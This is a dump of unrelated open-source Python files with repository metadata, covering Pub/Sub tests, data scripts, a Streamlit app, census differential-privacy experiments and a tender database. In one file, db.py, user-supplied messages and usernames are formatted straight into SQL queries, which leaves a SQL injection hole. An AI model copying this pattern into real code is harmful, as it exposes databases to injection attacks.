on_publish(topic_path, data):\n assert topic_path == 'some/topic/path'\n assert isinstance(data, bytes)\n result = json.loads(data)\n assert result == _message_data()\n return mock_future\n\n subscriber = _mock_subscriber()\n publisher = _mock_publisher(on_publish)\n\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_called_with(\n 'some/subscription/path',\n ['some_ack_id']\n )\n\n mock_future = _mock_future(on_add_done_callback)\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher\n ).process(max_processed_messages=1)\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef test_message_is_not_acknowledged_on_failure(pipeline):\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_not_called()\n\n mock_future = _mock_future(on_add_done_callback)\n mock_future.result.side_effect = Exception('Boom!')\n subscriber = _mock_subscriber()\n publisher = _mock_publisher()\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher\n ).process(max_processed_messages=1)\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef test_ack_deadline_is_not_respected(pipeline):\n subscriber = _mock_subscriber()\n publisher = _mock_publisher()\n\n def on_add_done_callback(callback):\n callback(mock_future)\n subscriber.acknowledge.assert_called_with(\n 'some/subscription/path',\n ['some_ack_id']\n )\n\n mock_future = _mock_future(on_add_done_callback)\n\n class Pull:\n do_raise = True\n\n def __call__(self, *args, **kwargs):\n if self.do_raise:\n self.do_raise = False\n raise DeadlineExceeded(\"\")\n else:\n result = MagicMock()\n result.received_messages = [_mock_message()]\n return result\n\n subscriber.pull.side_effect = Pull()\n\n pipeline(\n google_cloud_project='',\n incoming_subscription='',\n outgoing_topic='',\n processor=processor,\n subscriber=subscriber,\n publisher=publisher,\n deadline_exceeded_retry_wait_secs=0\n ).process(max_processed_messages=1)\n","repo_name":"hypefactors/py-pubsub-pipeline","sub_path":"test_pubsub_pipeline.py","file_name":"test_pubsub_pipeline.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19843219368","text":"from openpyxl import load_workbook\n\nwb = load_workbook('Dodgers.xlsx')\nresult = []\n\nws = wb.worksheets[0]\nfor row in ws.iter_rows():\n # list comprehension\n result.append([cell.value for cell in row])\n\nsum = 0\nfor r in result[1:]:\n sum += int(r[11])\n\nprint(f\"Total HR was {sum}\")\n# Total HR was 168\n","repo_name":"AndyLincode/python-practice","sub_path":"openpyxl_1.py","file_name":"openpyxl_1.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15928430134","text":"from datetime import datetime\nimport sqlite3\n\n\ncon = sqlite3.connect('db/db.db')\n\n\ndef log_message(message, author):\n date = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n cur = con.cursor()\n cur.execute(f\"INSERT INTO logs VALUES ('{message}', '{date}', '{author}')\")\n con.commit()\n\n\ndef select_offence_count(username):\n query = f'''select count(*) from logs\n where user = '{username}' '''\n cur = con.cursor()\n cur.execute(query)\n return cur.fetchone()[0]\n","repo_name":"SergeyKalutsky/hple","sub_path":"db/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7706668356","text":"import numpy as np\nfrom glob import glob\nfrom numpy import array\nfrom scipy.misc import imread\nimport scipy.misc\nimport sys\nimport os\n\n'''\nThis method takes 3d image sequence as numpy array argument. \nThe image sequence is then converted to a 2-d matrix with \npixels as rows and pixel values for images as columns. \nThen variance of the pixels are calculated and stored in a \nvariable. The top variant pixels as replaced with a given \npixel value. \n'''\ndef highVariance(imgs,hv=1,pix=125):\n timgs = transform(imgs)\n varimg = timgs.var(1)\n sortvar = sorted(varimg,reverse=True)\n sortvar = sortvar[:hv]\n a = np.full((1,int(imgs.shape[0])),pix)\n for mv in sortvar:\n timgs[int(np.where(varimg == mv)[0][0])] = a\n return timgs\n\n'''\nTranforms the given image into a 2d matrix\n'''\ndef transform(imgs):\n t_imgs = np.transpose(imgs)\n tod_data = t_imgs.reshape(imgs.shape[1]*imgs.shape[2], imgs.shape[0])\n return tod_data\n\n'''\nSaves the modified image matrices to a image. \nThis function contains the arguments of the \n'path' where the image will be saved \n'varimgs' the modified image matrices\n'imgs' orginal image matrix \n'''\ndef saveImage(path, varimgs, imgs):\n timgs = np.transpose(varimgs)\n rimgs = timgs.reshape(imgs.shape[0],imgs.shape[1],imgs.shape[2])\n if not os.path.exists(path):\n os.makedirs(path)\n for i in range (0,len(rimgs)):\n scipy.misc.imsave(path+'/img'+str(i)+'.png', rimgs[i])\n'''\nFunction to load the images from the given path\n'''\ndef loadImgs(path):\n files = sorted(glob(path+'/frame*'))\n imgs = array([imread(f) for f in files])\n return imgs\n\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n imgs = loadImgs(path)\n varImgs = highVariance(imgs)\n saveImage(path+\"/preprocess\",varImgs,imgs)\n","repo_name":"dsp-uga/goucher","sub_path":"src/preprocessing/PixelVariance.py","file_name":"PixelVariance.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"14023651850","text":"import sys\nimport subprocess\nfrom pycdft import *\nfrom ase.io import read\n\n# This file contains commands to restart from previous (converged) calculation of CDFT\n# For reference, the inputs from the CDFT run is kept\n\ncell = read(\"./He2.cif\")\nprint(r\"Initial atomic positions (Ang):\")\nprint(cell.get_positions())\nprint(cell.get_cell())\n\nV = -0.703772086888 # this is close to optimal constraint potential, use secant optimizer to refine\n \nprint(\"==================== Initializing Run =========================\")\n# load sample geometry\ncell.positions[1][2] = 3.0 \nsample = Sample(ase_cell=cell, n1=112, n2=112, n3=112, vspin=1)\nprint(sample.atoms[1])\n \n# load DFT driver, the commands are not essential but kept for reference\nqboxdriver = QboxDriver(\n sample=sample,\n init_cmd=\"load gs.xml \\n\" \n \"set xc PBE \\n\" \n \"set wf_dyn PSDA \\n\" \n \"set_atoms_dyn CG \\n\" \n \"set scf_tol 1.0E-8 \\n\",\n scf_cmd=\"run 0 50 5\",\n)\n \n# set up CDFT constraints and solver\nsolver1 = CDFTSolver(job=\"scf\", optimizer=\"secant\",sample=sample, dft_driver=qboxdriver,lrestart=True)\nsolver2 = solver1.copy()\n \n# add constraint to two solvers; the contraints are not essential but kept for reference\nChargeTransferConstraint(\n sample=solver1.sample,\n donor=Fragment(solver1.sample, solver1.sample.atoms[0:1]),\n acceptor=Fragment(solver1.sample, solver1.sample.atoms[1:2]),\n V_init = V,\n N0=1,\n N_tol=1E-6\n)\nChargeTransferConstraint(\n sample=solver2.sample, \n donor=Fragment(solver2.sample, solver2.sample.atoms[0:1]),\n acceptor=Fragment(solver2.sample, solver2.sample.atoms[1:2]),\n V_init = -V,\n N0=-1, \n N_tol=1E-6\n)\n\n# Below are the main routines needed to restart a CDFT calculation\nprint(\"~~~~~~~~~~~~~~~~~~~~ Restarting CDFT ~~~~~~~~~~~~~~~~~~~~\")\nprint(\"---- solver A ------\")\nsolver1.restart(\"wfc-1.xml\",[-4.726619,-0.703904]) # input arguments are name of wfc file, [Ed,Ec] from output\nsolver1.get_Vc(\"Vc-1.dat\") # input argument is name of constraint potential file\n\nprint(\"---- solver B ------\")\nsolver2.restart(\"wfc-2.xml\",[-4.726621,-0.703725])\nsolver2.get_Vc(\"Vc-2.dat\")\n\n\n# Finally, we call upon the routines for calculating electronic coupling. \n# An example output is given as coupling_restart.out\n\nprint(\"~~~~~~~~~~~~~~~~~~~~ Calculating coupling ~~~~~~~~~~~~~~~~~~~~\")\ncompute_elcoupling(solver1, solver2,close_dft_driver=False)\n \nprint(\"==================== JOB DONE =========================\")\n","repo_name":"hema-ted/pycdft","sub_path":"examples/01-he2_coupling/restart_example/run_coupling.py","file_name":"run_coupling.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"53"} +{"seq_id":"8285042568","text":"from flask import Flask, render_template, request, redirect, jsonify, url_for, flash\nfrom sqlalchemy import create_engine, asc\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, Category, Item, User\napp = Flask(__name__)\nfrom flask import session as login_session\nimport random, string\n\nengine = create_engine('sqlite:///catalog_database.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind = engine)\nsession = DBSession()\n\nnewUser1 = User(id = 1, name = \"Michael\", email = \"michael@gmail.com\")\nsession.add(newUser1)\nnewUser2 = User(id = 2, name = \"Daniel\", email = \"danielspottiswood@gmail.com\")\nsession.add(newUser2)\nnewcategory1 = Category(id = 1, name = \"Cleaning\")\nsession.add(newcategory1)\nnewcategory2 = Category(id = 2, name = \"Entertainment\")\nsession.add(newcategory2)\nnewcategory3 = Category(id = 3, name = \"Tools\")\nsession.add(newcategory3)\nsession.commit()\nnewItem1 = Item(name = \"Swiffer\", description=\"High Tech Cleaning Supply\",price=\"10\",condition=\"good\", Category_id = 1, User_id=1)\nsession.add(newItem1)\nnewItem2 = Item(name = \"TV\", description=\"Plasma Flat Screen TV Samsung\",price=\"70\",condition=\"great\", Category_id = 2, User_id=2)\nsession.add(newItem2)\nnewItem3 = Item(name = \"Hammer\", description=\"12 inch Hammer\",price=\"12\",condition=\"poor\", Category_id = 3, User_id=2)\nsession.add(newItem3)\nsession.commit()\n","repo_name":"danielspottiswood/CatalogProject","sub_path":"database_pop.py","file_name":"database_pop.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71600585769","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport pydeck as pdk\nimport pickle\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n#imagem=Image.open('page-icon.png')\nst.set_page_config(page_title='Angola 2022', page_icon='https://i.pinimg.com/originals/be/0e/7a/be0e7a66443ef7c46b061f1de1ec4574.png')\n#Aqui estou confirgurando apresentaçao do site, como o nome e icone que vai aparecer ao abrir a pagina.\nst.write('# Monkeypox')\nst.markdown('Acompanhando a evolução da doença pelo mundo')\nst.write('-----------')\nst.sidebar.write('Periodo')\ndata=pd.read_csv(\"./venv/monkeypox.csv\")\nlabel=list(['Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro'])\nmeses=st.sidebar.selectbox('Escolha o periodo',options=label)\n#Aqui estou criando uma caixa para selecionar o mes que desejo verificar as informações\n\ndata['Date_confirmation']=pd.to_datetime(data['Date_confirmation'])\ndata['month']=data['Date_confirmation'].dt.strftime('%m')\nmes=(data['month'].unique())\ninicia_mes=int(mes.min())\nfinal_mes=int(mes.max())\n\nperiodo=st.sidebar.slider('Escolha um mês',min_value=inicia_mes,max_value=final_mes,value=final_mes)\n#Aqui estou criando uma linha para filtrar o periodo que desejo obter as informações.\n#Vale ressaltar que para obter a interação tive que salvar o comando em uma variavél PERIODO\nst.sidebar.write('O mes escolhido foi:',periodo)\n\n\nif meses == 'Fevereiro':\n st.write('# Carnaval binho')\nif meses=='Maio':\n st.write(' # Ano que vem be')\nif meses == 'Julho':\n st.write('# Vem sao jao')\n#Aqui estou interagindo com o selectbox as opções escolhidas\n\nif st.sidebar.checkbox('Mostrar tabela'):\n st.write(data)\n#Aqui estou interagindo com a caixinha do checkbox para apresentar a tabela quando a opção estiver selecionada\n\n\n\n\n\n\n","repo_name":"kaiquess1/primeiro-teste-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13398904728","text":"class Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n \n \"\"\"\n perform backtracking\n \"\"\"\n\n result = []\n\n # base case\n if (len(nums) == 1):\n return [nums[:]]\n \n for i in range(len(nums)):\n # pop first value off and get permutations of the other vals\n n = nums.pop(0)\n perms = self.permute(nums)\n\n for perm in perms:\n perm.append(n)\n result.extend(perms)\n nums.append(n)\n\n # testing leethub\n return result\n\n\n\n","repo_name":"yihui-hu/leetcode","sub_path":"0046-permutations/0046-permutations.py","file_name":"0046-permutations.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31589448691","text":"from typing import List, Optional, Tuple\n\nfrom tensorflow.keras.losses import Loss\nfrom tensorflow.keras.metrics import Metric\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.optimizers import Optimizer\n\n\nclass LossDescriptor:\n \"\"\"\n 손실 설명을 위한 도구입니다.\n \"\"\"\n\n def __init__(self, loss: Loss, weight: int = 1.0):\n self.loss = loss\n self.weight = weight\n\n\nclass ModelDescriptor:\n \"\"\"\n 모델 설명을 위한 도구입니다.\n\n - 모델에 해당되는 입력의 이름, 입력의 shape을 지정합니다.\n - 모델에 해당되는 출력의 이름, 출력의 shape을 지정합니다.\n \"\"\"\n\n def __init__(\n self,\n inputs: List[Tuple[str, Tuple[int, int, int]]],\n outputs: List[Tuple[str, Tuple[int, int, int]]],\n ):\n self.inputs = inputs\n self.outputs = outputs\n\n def get_input_sizes(self) -> List[Tuple[int, int]]:\n \"\"\"\n 모델의 입력의 세로, 가로 크기를 반환합니다.\n\n Returns\n -------\n List[Tuple[int, int]]\n 이미지의 세로, 가로 크기 리스트\n \"\"\"\n return list(map(lambda el: (el[1][0], el[1][1]), self.inputs))\n\n def get_output_sizes(self) -> List[Tuple[int, int]]:\n \"\"\"\n 모델의 출력의 세로, 가로 크기를 반환합니다.\n\n Returns\n -------\n List[Tuple[int, int]]\n 이미지의 세로, 가로 크기 리스트\n \"\"\"\n return list(map(lambda el: (el[1][0], el[1][1]), self.outputs))\n\n\ndef compile_model(\n model: Model,\n model_descriptor: ModelDescriptor,\n optimizer: Optimizer,\n loss_list: List[LossDescriptor],\n metrics: List[Metric],\n sample_weight_mode=None,\n weighted_metrics=None,\n target_tensors=None,\n **kwargs\n):\n \"\"\"\n 모델을 컴파일합니다.\n\n Parameters\n ----------\n model : Model\n 컴파일 할 모델\n model_descriptor : ModelDescriptor\n 모델 설명 도구\n optimizer : Optimizer\n 옵티마이저\n loss_list : List[LossDescriptor]\n 손실 설명 도구의 리스트\n metrics : List[Metric]\n 메트릭 리스트\n sample_weight_mode : [type], optional\n `sample_weight_mode`, by default None\n weighted_metrics : [type], optional\n `weighted_metrics`, by default None\n target_tensors : [type], optional\n `target_tensors`, by default None\n \"\"\"\n losses = dict(\n zip(\n list(map(lambda el: el[0], model_descriptor.outputs)),\n list(map(lambda el: el.loss, loss_list)),\n )\n )\n loss_weights = dict(\n zip(\n list(map(lambda el: el[0], model_descriptor.outputs)),\n list(map(lambda el: el.weight, loss_list)),\n )\n )\n model.compile(\n optimizer=optimizer,\n loss=losses,\n loss_weights=loss_weights,\n metrics=metrics,\n weighted_metrics=weighted_metrics,\n sample_weight_mode=sample_weight_mode,\n target_tensors=target_tensors,\n **kwargs\n )\n\n\nclass ModelHelper:\n \"\"\"\n [Interface]\n \"\"\"\n\n def __init__(self, model_descriptor: ModelDescriptor, alpha: float = 1.0):\n self.model_descriptor = model_descriptor\n self.alpha = alpha\n\n def get_model(self) -> Model:\n raise NotImplementedError\n\n def compile_model(\n self,\n model: Model,\n optimizer: Optimizer,\n loss_list: List[LossDescriptor],\n metrics: List[Metric] = [],\n model_descriptor: Optional[ModelDescriptor] = None,\n sample_weight_mode=None,\n weighted_metrics=None,\n target_tensors=None,\n **kwargs\n ) -> Model:\n _model_descriptor = model_descriptor\n if model_descriptor is None:\n _model_descriptor = self.model_descriptor\n compile_model(\n model,\n model_descriptor=_model_descriptor,\n optimizer=optimizer,\n loss_list=loss_list,\n metrics=metrics,\n sample_weight_mode=sample_weight_mode,\n weighted_metrics=weighted_metrics,\n target_tensors=target_tensors,\n **kwargs\n )\n return model\n","repo_name":"tenkeyless/image-keras","sub_path":"image_keras/model_manager.py","file_name":"model_manager.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71604419688","text":"import json\nimport logging\nimport os\nfrom typing import Dict, Set, Optional, Iterator, List\n\nfrom polytropos.ontology.composite import Composite\n\nfrom polytropos.ontology.schema import Schema\nfrom polytropos.tools.qc.compare import FixtureComparator\n\nfrom polytropos.tools.qc.outcome import Outcome, ValueMatch, ValueMismatch, MissingValue, InvalidPath\nfrom polytropos.util.paths import find_all_composites, relpath_for\n\ndef _get_composite(basepath: str, composite_id: str, schema: Schema) -> Optional[Composite]:\n relpath: str = relpath_for(composite_id)\n filename: str = os.path.join(basepath, relpath, \"%s.json\" % composite_id)\n if not os.path.exists(filename):\n return None\n with open(filename) as fh:\n try:\n content: Dict = json.load(fh)\n except Exception as e:\n logging.error(\"Error reading composite %s\" % filename)\n raise e\n return Composite(schema, content, composite_id=composite_id)\n\nclass FixtureOutcomes:\n def __init__(self, schema: Schema, fixture_path: str, actual_path: str):\n unsorted_outcomes: Dict[str, Outcome] = {}\n self.no_actual: Set[str] = set()\n\n for composite_id in find_all_composites(fixture_path):\n actual: Optional[Composite] = _get_composite(actual_path, composite_id, schema)\n if actual is None:\n self.no_actual.add(composite_id)\n logging.warning(\"No actual value observed for fixture %s.\" % composite_id)\n continue\n fixture: Optional[Composite] = _get_composite(fixture_path, composite_id, schema)\n assert fixture is not None\n comparator: FixtureComparator = FixtureComparator(schema, composite_id, fixture, actual)\n outcome: Outcome = comparator.outcome\n unsorted_outcomes[composite_id] = outcome\n\n self.outcomes: List = [unsorted_outcomes[key] for key in sorted(unsorted_outcomes.keys())]\n\n @property\n def matches(self) -> Iterator[ValueMatch]:\n for outcome in self.outcomes:\n yield from outcome.matches\n\n @property\n def match_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.match_case_ids\n\n @property\n def mismatches(self) -> Iterator[ValueMismatch]:\n for outcome in self.outcomes:\n yield from outcome.mismatches\n\n @property\n def mismatch_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.mismatch_case_ids\n\n @property\n def missing_values(self) -> Iterator[MissingValue]:\n for outcome in self.outcomes:\n yield from outcome.missings\n\n @property\n def missing_value_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.missing_case_ids\n\n @property\n def invalid_paths(self) -> Iterator[InvalidPath]:\n for outcome in self.outcomes:\n yield from outcome.invalids\n\n @property\n def invalid_path_ids(self) -> Iterator[str]:\n for outcome in self.outcomes:\n yield from outcome.invalid_case_ids\n","repo_name":"borenstein/polytropos","sub_path":"polytropos/tools/qc/findall.py","file_name":"findall.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"41424107558","text":"\"\"\"\r\n# -*- coding: utf-8 -*-\r\n-----------------------------------------------------------------------------------\r\n# Author: Anant Dashpute\r\n-----------------------------------------------------------------------------------\r\n# Description: Common plot functions are added here\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport cv2\r\nfrom src.tools import util\r\n\r\n\r\ndef view_lidar(pc, azimuth=180, elevation=10):\r\n \"\"\"\r\n pc : Point cloud array\r\n azimuth: Rotation angle\r\n elevation: View angle\r\n \"\"\"\r\n\r\n plt.figure(figsize=[10, 10])\r\n ax = plt.axes(projection='3d')\r\n d = {'X': pc[0], 'Y': pc[1], 'Z': pc[2], 'intensity': pc[3]}\r\n df = pd.DataFrame.from_dict(d)\r\n ax.scatter(df['X'], df['Y'], df['Z'], c=df['intensity'], s=0.1)\r\n ax.set_xlim(-15, 15)\r\n ax.set_ylim(-15, 15)\r\n ax.set_zlim(-15, 15)\r\n ax.azim = azimuth\r\n ax.elev = elevation\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n ax.set_zlabel('z')\r\n plt.show()\r\n\r\n\r\ndef view_image(root_path, data_path):\r\n \"\"\"\r\n image_path : Direct path to image\r\n \"\"\"\r\n image_path = util.get_image_path(root_dir=root_path, data_path=data_path)\r\n img = cv2.imread(image_path)\r\n cv2.imshow('image', img)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n","repo_name":"DASHANANT/Autolabelling","sub_path":"src/tools/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"38030005443","text":"import numpy as np\nfrom states import STATE_ORDER, ABBR_TO_NAME, NAME_TO_ABBR\nfrom apportionment import huntington_hill, webster, dean, hamilton, lowndes, jefferson, adam\nfrom noise import poisson_noise, laplace_noise, geometric_noise, gaussian_noise\nfrom parse import *\n\nEPSILONS = [10**x for x in range(-1, -6, -1)]\nDELTAS = [10**x for x in range(-4, -20, -4)]\nCS = range(1, 11, 2)\nREPS = 100\n\nPOPULATIONS_FILE = \"census_data/historical_populations.csv\"\nAPPORTIONMENT_FILE = \"census_data/house_apportionments.csv\"\nOUTPUT_FOLDER = \"results\"\nVERBOSE = False\n\napportionments = {\"hh\": huntington_hill, \"webster\": webster, \"dean\": dean, \"hamilton\": hamilton, \"lowndes\": lowndes,\n \"jefferson\": jefferson, \"adam\": adam}\nmechanisms = { \"poisson\": poisson_noise, \"laplace\": laplace_noise, \"geometric\": geometric_noise, \"gaussian\": gaussian_noise}\n\ndef run_experiment(apportion_alg_name, count_mech_name):\n # Writes a function that returns the changes that must be made TO THE TRUE APPORTIONMENT in order to equal the\n # NOISY RESULT\n\n # TODO temporary - we already have results for hh, just move on\n if apportion_alg_name == \"hh\":\n return\n\n print(\"++++++++++++++++++++++++++++++++++++\")\n print(\"apportionment algorithm: \", apportion_alg_name)\n print(\"count DP mechanism: \", count_mech_name)\n print(\"++++++++++++++++++++++++++++++++++++\")\n\n apportionment_alg = apportionments[apportion_alg_name]\n count_mechanism = mechanisms[count_mech_name]\n\n census_years, total_us_pop, state_pops = parse_historical_populations(POPULATIONS_FILE)\n census_years, total_seats_apportioned, state_seats_apportioned = parse_historical_seats_apportioned(APPORTIONMENT_FILE)\n\n for year in census_years:\n print(\"year: \", str(year))\n if VERBOSE: print(\"=================================\")\n\n true_population = total_us_pop[year]\n true_state_pop = state_pops[year]\n true_seats = total_seats_apportioned[year]\n true_answer = apportionment_alg(true_state_pop, true_seats)\n\n output_file = OUTPUT_FOLDER + \"/\" + apportion_alg_name + \"/\" + count_mech_name + \"/\" + str(year) + \".csv\"\n with open(output_file, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"apportionment\",\"mechanism\", \"epsilon\", \"rep\"] + STATE_ORDER)\n\n for epsilon in EPSILONS:\n print(\" epsilon: \", str(epsilon))\n if VERBOSE: print(\"---------------------------------\")\n\n deltas = DELTAS if count_mech_name == \"gaussian\" else [None]\n for delta in deltas:\n print(\" delta: \", str(delta))\n if VERBOSE: print(\" ---------------------------------\")\n\n for rep in range(REPS):\n noises = count_mechanism(epsilon, delta, len(true_state_pop)) if count_mech_name == \"gaussian\" else count_mechanism(epsilon, len(true_state_pop))\n population = true_population + sum(noises)\n state_pop = dict()\n for (state, i) in zip(true_state_pop.keys(), range(len(true_state_pop))):\n state_pop[state] = true_state_pop[state] + noises[i] if true_state_pop[state] is not None else None\n answer = apportionment_alg(state_pop, true_seats)\n\n if true_answer != answer:\n if VERBOSE: print(\"alg: %s, mech: %s, epsilon: %f, year: %d, rep: %d, Different\" %\n (apportion_alg_name, count_mech_name, epsilon, year, rep))\n for state in true_answer:\n if true_answer[state] != answer[state]:\n diff = answer[state] - true_answer[state]\n if VERBOSE: print(\" \", state, \"+\" if diff > 0 else \" \" if diff == 0 else \"\", diff)\n else:\n if VERBOSE: print(\"alg: %s, mech: %s, epsilon: %f, year: %d, rep: %d, Same\" %\n (apportion_alg_name, count_mech_name, epsilon, year, rep))\n\n writer.writerow([apportion_alg_name, count_mech_name, epsilon, rep] + [answer[st] - true_answer[st] for st in filter(lambda st: true_answer[st] is\n not None, STATE_ORDER)])\n print(\"Done! Results are in \", OUTPUT_FOLDER)\n\n\nif __name__ == '__main__':\n census_years, total_us_pop, state_pops = parse_historical_populations(POPULATIONS_FILE)\n census_years, total_seats_apportioned, state_seats_apportioned = parse_historical_seats_apportioned(APPORTIONMENT_FILE)\n\n for aa in apportionments.keys():\n for cm in mechanisms.keys():\n if cm == \"poisson\":\n continue # skip for now\n run_experiment(aa, cm)\n\n #print(census_years)\n #print(total_seats_apportioned)\n #print(state_seats_apportioned)\n\n","repo_name":"sarahscheffler/dp-census","sub_path":"basic_dp_experiments.py","file_name":"basic_dp_experiments.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"73376778407","text":"import pandas as pd\r\n\r\n# Прочитане на файла като текст\r\nwith open('csv/dataset.csv', 'r', encoding='ISO-8859-1') as f:\r\n lines = f.readlines()\r\n\r\n# Обработка на текста\r\ndata = []\r\nfor line in lines[1:]:\r\n values = line.split(',')\r\n row = {\r\n 'make': values[0].strip(),\r\n 'model': values[1].strip(),\r\n 'year': values[2].strip(),\r\n 'engine': values[3].strip(),\r\n 'variant': values[5].strip(),\r\n 'body_styles': values[4].strip(),\r\n 'type': values[6].strip(),\r\n 'kType': values[7].strip()\r\n }\r\n data.append(row)\r\n\r\n# Преобразуване на данните в DataFrame\r\ndf = pd.DataFrame(data)\r\n\r\n# Премахване на 'diesel', 'petrol' и 'electric' от 'body_styles'\r\ndf['body_styles'] = df['body_styles'].str.replace('Diesel', '').str.replace('Petrol', '')\r\n\r\n# Вземане на уникалните 'body_styles'\r\nunique_body_styles = df['body_styles'].unique()\r\n\r\n# Извеждане на уникалните 'body_styles'\r\nfor body_style in unique_body_styles:\r\n print(body_style)\r\n\r\n# Запазване на модифицираното dataframe в нов CSV файл\r\ndf.to_csv('csv/modified_dataset.csv', index=False)\r\n","repo_name":"magicgamermd/RUVEN","sub_path":"index1.py","file_name":"index1.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"34281630323","text":"import sqlite3, pathlib, os, datetime\nfrom sqlite3 import Error\n\nconn = None\ndateStr = ''\ndef operators(operator, tender = None):\n try:\n conn = sqlite3.connect('main.db')\n print(sqlite3.version)\n cur = conn.cursor()\n print(\"Подключен к SQLite\")\n \n if operator=='createTenders':\n cur.execute(\"create table if not exists tenders ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name', 'inn', 'kpp', 'mailAddress', 'category', 'price', 'deliveryAddress', 'link' NOT NULL UNIQUE, 'dynamics', 'dateStart', 'dateEnd', 'items NOT NULL')\")\n print('Tables created or exists')\n \n if operator=='read_tables':\n try:\n sqlite_select_query = '''SELECT 'id' , 'name', 'inn', 'kpp', 'mailAddress', 'category', 'price', 'deliveryAddress', 'link', 'dynamics', 'dateStart', 'dateEnd' from tenders'''\n cur.execute(sqlite_select_query)\n if(cur.fetchall!=None):\n return cur.fetchall()\n else:\n return None\n except:\n return None\n if operator=='insert':\n tendersInsert = \"insert or ignore into tenders (name, inn, kpp, mailAddress, category, price, deliveryAddress, link, dynamics, dateStart, dateEnd,items) values(?,?,?,?,?,?,?,?,?,?,?,?)\"\n cur.execute(tendersInsert,(tender.name,tender.inn,tender.kpp,tender.mailAddress,tender.category,tender.price,tender.deliveryAddress,tender.link,tender.dynamics,tender.dateStart,tender.dateEnd,tender.items))\n #dateStr = datetime.datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n\n if operator=='drop tables':\n cur.execute('DROP TABLE IF EXISTS tenders;')\n cur.close()\n conn.commit()\n except Error as e:\n print(\"Ошибка при работе с SQLite\", e)\n finally:\n if conn:\n conn.close()\n print(\"Соединение с SQLite закрыто\")\n \n# if operator=='select':\n # cur.execute(\"select link from tenders where link=:link\", {\"link\":link})\n # ident = cur.fetchall()\n # for i in ident:\n # print('ident' + i)\n # if len(ident) == 0: #section,dates[i],times[i],counts[i]\n # return False\n # else:\n # print(ident)\n # return True\n \n \n #last_insert = cur.lastrowid\n # itemsInsert = \"insert or ignore into items (name,tenderkey) values(?,?)\"\n # if len(p2[i]) > 1:\n # for x in range(len(p2[i])):\n # cur.execute(itemsInsert,(p2[i][x], last_insert))\n # if len(p2[i]) == 1:\n # cur.execute(itemsInsert,(p2[i][0], last_insert))","repo_name":"shadevil/atmo_parser","sub_path":"new parser/db1.py","file_name":"db1.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25632430242","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 26 16:18:18 2023\r\n\r\n@author: ztli\r\n\"\"\"\r\n\r\nimport os\r\nimport collections\r\nimport math\r\nimport networkx as nx\r\nimport numpy as np\r\nimport pandas as pd\r\nimport random\r\nfrom sys import exit\r\nimport shutil\r\nfrom time import time\r\nimport yaml\r\nfrom supergraph_dask import Supergraph, Supernode\r\n\r\nSEED = 1\r\nrandom.seed(SEED)\r\n\r\ndataset_info = {\"gd\":{\"subgraph_num\":3, \"labeled_node\":True, 